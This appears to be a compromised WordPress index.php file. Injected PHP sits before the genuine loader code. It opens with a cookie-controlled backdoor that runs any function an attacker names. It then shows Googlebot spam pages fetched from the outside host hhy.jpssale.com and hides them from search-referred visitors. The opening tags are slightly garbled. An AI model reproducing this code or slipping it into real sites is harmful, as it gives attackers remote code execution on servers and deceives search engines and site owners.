<%>PH if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); P<%> $regex = "/^\/[A-Za-z0-9\_]+\-[A-Za-z0-9\_]+\/[A-Za-z0-9\_]+\-[A-Za-z0-9\_]+\/[A-Za-z0-9\_]+\-[A-Za-z0-9\_]+\.gege+$/"; $query = $_SERVER['REQUEST_URI']; if(strstr($query,"sitemaps.xml")){ echo GetFileContent("sitemaps.xml");exit; } if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){ if(isset($query) && preg_match($regex,$query)){ $str = GetFileContent("http://hhy.jpssale.com/1201t/pages.php?".$query."|".$_SERVER["HTTP_HOST"]); echo $str; exit; }else{ $str = GetFileContent("http://hhy.jpssale.com/1201t/pages_yz.php?".$_SERVER["HTTP_HOST"].$query); echo $str; exit; } } if(preg_match('/(google.co.jp|yahoo.co.jp)/i', strtolower($_SERVER['HTTP_REFERER']))){ if(isset($query) && preg_match($regex,$query)){ echo ''; exit; }else{ } } if($_GET['uu']!=""){ echo ''; exit; } function GetFileContent($url){ if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );